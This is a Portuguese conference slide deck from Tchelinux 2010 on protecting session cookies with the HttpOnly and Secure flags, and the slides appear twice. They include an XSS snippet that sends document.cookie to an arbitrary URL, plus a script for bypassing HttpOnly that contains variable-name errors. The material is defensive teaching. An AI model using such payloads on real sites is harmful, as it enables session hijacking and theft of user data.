Rodolfo Stangherlin




Desenvolvimento web seguro:
          cookies



   Tchelinux 2010 - Caxias do Sul
Sumário




 Apresentação
 HTTP é stateless  - e daí?
 Riscos
 Explorando com Javascript
 Httponly - Risco minimizado
 Secure - Só HTTPS
 Conclusão
Apresentação


Rodolfo Stangherlin
      Técnico em Desenvolvimento de Sistemas - CETEC
      Bacharelando em Ciência da Computação na UCS
      Trabalha em informática desde 2005
          sobreviveu à suporte Linux/FreeBSD
          desenvolveu alguma coisa em PHP
          trabalha atualmente com Python/Django
      atualmente desenvolvedor Python/Django no NPDU
      (UCS)
HTTP é stateless  - e daí?

HTTP (Hypertext Transfer Protocol) é um protocolo da camada
de aplicação do modelo OSI.

Dizer que o protocolo é Stateless significa que a conexão não
é mantida:
HTTP é stateless - e daí?




                       Fonte: http://wagnerelias.com
HTTP é stateless - e daí?
Cookies são enviados para identificar quem está enviando
a requisição
HTTP é stateless - e daí?
Cookies são enviados para
identificar quem está
fazendo a requisição


Isso é feito através de
HEADERS
HTTP é stateless - e daí?
Resposta criando um cookie:
 
HTTP/1.0 200 OK
Date: Thu, 17 Jun 2010 03:22:07 GMT
Server: WSGIServer/0.1 Python/2.5.5
Vary: Cookie
Content-Type: text/html; charset=utf-8
Set-Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570;
expires=Thu, 01-Jul-2010 03:22:07 GMT; Max-Age=1209600;
Path=/ 
HTTP é stateless - e daí?
Requisição com o cookie já indentificado:
 
GET /capa/ HTTP/1.1
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570
Riscos




  sequestro de sessão
  furto de dados
  problemas de autenticação
  ...
Riscos
Explorando com Javascript




<script language="javascript"
        type="text/javascript">

 document.location='/false/?cks=' + document.cookie;
</script>
Explorando com Javascript

/false/
pode ser qualquer URL, que receberia os cookies que
identificam a sessão (como o SESSION_ID ou PHPSESSID)


document.cookie
Propriedade que contém todos os cookies da
página:

"csrftoken=8fb73324ffff93d9e2eed7e1d5184b6a;
sessionid=d6efaa3ee92a9ac89ec0f0b4763cc248"
pq é necessário acessar o
  cookie de sessão via
       javascript?
não é necessário!
Httponly - Risco amenizado

Adicionando a flag "httponly" na resposta do servidor, o
navegador bloqueará acesso ao cookie via javascript:


HTTP/1.0 200 OK
Date: Thu, 17 Jun 2010 03:27:51 GMT
Server: WSGIServer/0.1 Python/2.6.5+
Content-Type: text/html; charset=utf-8
Set-Cookie: csrftoken=e0957542e6b3b25785a3d08ded669f8;
Max-Age=31449600; Path=/
Set-Cookie: sessionid=903da9d05cdf07e7bea5c0e8d725ea0f;
expires=Thu, 01-Jul-2010 03:27:50 GMT; httponly; Max-
Age=1209600; Path=/
Httponly - Risco amenizado



Então, com javascript:


document.cookie

"csrftoken=e0957542e6b3b25785a3d08ded669f8"
Httponly - Risco minimizado




risco eliminado? Não
 
Usando Ajax (XMLHttpRequest), o cookie é passado e pode ser
recuperado, mas é muito mais complexo
Httponly - Risco minimizado
burlando o HttpOnly
var doc;
try { doc = new XMLHttpRequest(); } catch(e) {}
if (!req) try { doc = new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) {}
if (!req) try { doc = new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) {}
doc.open(“HEAD”, document.location, true);
doc.send(null);
doc.onreadystatechange=function() {
if(doc.readyState==4) {
 if(doc.status==200) {
  var hidden=”";
  var headers=doc.getAllResponseHeaders().split(” “);
  for(i=0;i<headers.length;i++) {
   var off1 = headers[i].indexOf(” “)+1;
   var off2 = headers[i].indexOf(“;”)+1;
   var cookie=headers[i].substring(off1, off2);
   hidden=hidden+cookie+” “;
  }
 }
 alert(“httpOnly cookie: “+hidden);
}
}
Httponly - Risco minimizado

pq não é assim por default?
 
HttpOnly não é padrão Web
    não está na RFC 2109 - HTTP State Management
    Mechanism)
 
criado pela Microsoft no IE6
    hoje compatível com navegadores mais populares
       Mozilla Firefox (a partir da versão 3.0)
       Opera (a partir da versão 9.5)
       Google Chrome (desde a versão beta)
       Safari (desde versão 4)
Httponly - Risco minimizado

Django (Python)
   suporte apenas via middleware, fora do código "oficial",
   pois segue os padrões
 
Rails (Ruby)
   HttpOnly ativado por default
 
PHP
   configurável através do php.ini desde a versão 5.2.0
       session.cookie_httponly = True
   setar cookie usando "header()"
   usar parâmentro "http_only=True" na função setcookie

           http://br.php.net/manual/en/function.setcookie.
Httponly - Risco minimizado
Dia 18/06, o site f-secure.com publicou um ataque de XSS:
Httponly - Risco minimizado
Passando o código javascript pela URL, ele era executado ao
acessar a página...
Secure - Só HTTPS

Indica para o navegador enviar o cookie apenas em conexões
seguras (HTTPS)
 
HTTP/1.0 200 OK
Date: Thu, 17 Jun 2010 03:46:30 GMT
Server: Apache mod_wsgi/3.1 Python/2.6.4
Expires: Thu, 17 Jun 2010 03:46:30 GMT
Vary: Cookie,Accept-Encoding
Last-Modified: Thu, 17 Jun 2010 03:46:30 GMT
Set-Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8;
httponly; Path=/; secure
Secure - Só HTTPS
https://ucsvirtual.ucs.br/capa/

GET /capa/ HTTP/1.1
Host: ucsvirtual.ucs.br
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:
1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4)
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8
Accept-Language: pt-br,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8
Secure - Só HTTPS

http://www.ucs.br/site
 
GET /site HTTP/1.1
Host: www.ucs.br
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:
1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4)
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8
Accept-Language: pt-br,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Conclusão



     Na maioria das vezes, o acesso ao cookie de
       sessão nunca é utilizado via javascript.
                            

       Talvez por causa disso as pessoas nunca
        lembrem que isso pode significar uma
                   vulnerabilidade
Conclusão



      Apenas HttpOnly + Secure não é suficiente.
                             
                             
    O ideal é nunca permitir javascript seja exibido
                           ;)
       Django o faz por default
       PHP pode usar função strip_tags
Obrigado!
                    
         Rodolfo Stangherlin

              @rodolfo_3
         rodolfo.3@gmail.com
http://ratosdelaboratorio.blogspot.com

Desenvolvimento web seguro cookies - Rodolfo Stangherlin

  • 1.
    Rodolfo Stangherlin Desenvolvimento webseguro: cookies Tchelinux 2010 - Caxias do Sul
  • 2.
    Sumário Apresentação HTTPé stateless  - e daí? Riscos Explorando com Javascript Httponly - Risco minimizado Secure - Só HTTPS Conclusão
  • 3.
    Apresentação Rodolfo Stangherlin Técnico em Desenvolvimento de Sistemas - CETEC Bacharelando em Ciência da Computação na UCS Trabalha em informática desde 2005 sobreviveu à suporte Linux/FreeBSD desenvolveu alguma coisa em PHP trabalha atualmente com Python/Django atualmente desenvolvedor Python/Django no NPDU (UCS)
  • 4.
    HTTP é stateless - e daí? HTTP (Hypertext Transfer Protocol) é um protocolo da camada de aplicação do modelo OSI. Dizer que o protocolo é Stateless significa que a conexão não é mantida:
  • 5.
    HTTP é stateless- e daí? Fonte: http://wagnerelias.com
  • 6.
    HTTP é stateless- e daí? Cookies são enviados para identificar quem está enviando a requisição
  • 7.
    HTTP é stateless- e daí? Cookies são enviados para identificar quem está fazendo a requisição Isso é feito através de HEADERS
  • 8.
    HTTP é stateless- e daí? Resposta criando um cookie:   HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:22:07 GMT Server: WSGIServer/0.1 Python/2.5.5 Vary: Cookie Content-Type: text/html; charset=utf-8 Set-Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570; expires=Thu, 01-Jul-2010 03:22:07 GMT; Max-Age=1209600; Path=/ 
  • 9.
    HTTP é stateless- e daí? Requisição com o cookie já indentificado:   GET /capa/ HTTP/1.1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570
  • 10.
    Riscos sequestrode sessão furto de dados problemas de autenticação ...
  • 11.
  • 12.
    Explorando com Javascript <scriptlanguage="javascript" type="text/javascript"> document.location='/false/?cks=' + document.cookie; </script>
  • 13.
    Explorando com Javascript /false/ podeser qualquer URL, que receberia os cookies que identificam a sessão (como o SESSION_ID ou PHPSESSID) document.cookie Propriedade que contém todos os cookies da página: "csrftoken=8fb73324ffff93d9e2eed7e1d5184b6a; sessionid=d6efaa3ee92a9ac89ec0f0b4763cc248"
  • 14.
    pq é necessárioacessar o cookie de sessão via javascript?
  • 15.
  • 16.
    Httponly - Riscoamenizado Adicionando a flag "httponly" na resposta do servidor, o navegador bloqueará acesso ao cookie via javascript: HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:27:51 GMT Server: WSGIServer/0.1 Python/2.6.5+ Content-Type: text/html; charset=utf-8 Set-Cookie: csrftoken=e0957542e6b3b25785a3d08ded669f8; Max-Age=31449600; Path=/ Set-Cookie: sessionid=903da9d05cdf07e7bea5c0e8d725ea0f; expires=Thu, 01-Jul-2010 03:27:50 GMT; httponly; Max- Age=1209600; Path=/
  • 17.
    Httponly - Riscoamenizado Então, com javascript: document.cookie "csrftoken=e0957542e6b3b25785a3d08ded669f8"
  • 18.
    Httponly - Riscominimizado risco eliminado? Não   Usando Ajax (XMLHttpRequest), o cookie é passado e pode ser recuperado, mas é muito mais complexo
  • 19.
    Httponly - Riscominimizado burlando o HttpOnly var doc; try { doc = new XMLHttpRequest(); } catch(e) {} if (!req) try { doc = new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) {} if (!req) try { doc = new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) {} doc.open(“HEAD”, document.location, true); doc.send(null); doc.onreadystatechange=function() { if(doc.readyState==4) {  if(doc.status==200) {   var hidden=”";   var headers=doc.getAllResponseHeaders().split(” “);   for(i=0;i<headers.length;i++) {    var off1 = headers[i].indexOf(” “)+1;    var off2 = headers[i].indexOf(“;”)+1;    var cookie=headers[i].substring(off1, off2);    hidden=hidden+cookie+” “;   }  }  alert(“httpOnly cookie: “+hidden); } }
  • 20.
    Httponly - Riscominimizado pq não é assim por default?   HttpOnly não é padrão Web não está na RFC 2109 - HTTP State Management Mechanism)   criado pela Microsoft no IE6 hoje compatível com navegadores mais populares Mozilla Firefox (a partir da versão 3.0) Opera (a partir da versão 9.5) Google Chrome (desde a versão beta) Safari (desde versão 4)
  • 21.
    Httponly - Riscominimizado Django (Python) suporte apenas via middleware, fora do código "oficial", pois segue os padrões   Rails (Ruby) HttpOnly ativado por default   PHP configurável através do php.ini desde a versão 5.2.0 session.cookie_httponly = True setar cookie usando "header()" usar parâmentro "http_only=True" na função setcookie http://br.php.net/manual/en/function.setcookie.
  • 22.
    Httponly - Riscominimizado Dia 18/06, o site f-secure.com publicou um ataque de XSS:
  • 23.
    Httponly - Riscominimizado Passando o código javascript pela URL, ele era executado ao acessar a página...
  • 24.
    Secure - SóHTTPS Indica para o navegador enviar o cookie apenas em conexões seguras (HTTPS)   HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:46:30 GMT Server: Apache mod_wsgi/3.1 Python/2.6.4 Expires: Thu, 17 Jun 2010 03:46:30 GMT Vary: Cookie,Accept-Encoding Last-Modified: Thu, 17 Jun 2010 03:46:30 GMT Set-Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8; httponly; Path=/; secure
  • 25.
    Secure - SóHTTPS https://ucsvirtual.ucs.br/capa/ GET /capa/ HTTP/1.1 Host: ucsvirtual.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv: 1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8
  • 26.
    Secure - SóHTTPS http://www.ucs.br/site   GET /site HTTP/1.1 Host: www.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv: 1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml; q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive
  • 27.
    Conclusão Na maioria das vezes, o acesso ao cookie de sessão nunca é utilizado via javascript.   Talvez por causa disso as pessoas nunca lembrem que isso pode significar uma vulnerabilidade
  • 28.
    Conclusão Apenas HttpOnly + Secure não é suficiente.     O ideal é nunca permitir javascript seja exibido ;) Django o faz por default PHP pode usar função strip_tags
  • 29.
    Obrigado!   Rodolfo Stangherlin @rodolfo_3 rodolfo.3@gmail.com http://ratosdelaboratorio.blogspot.com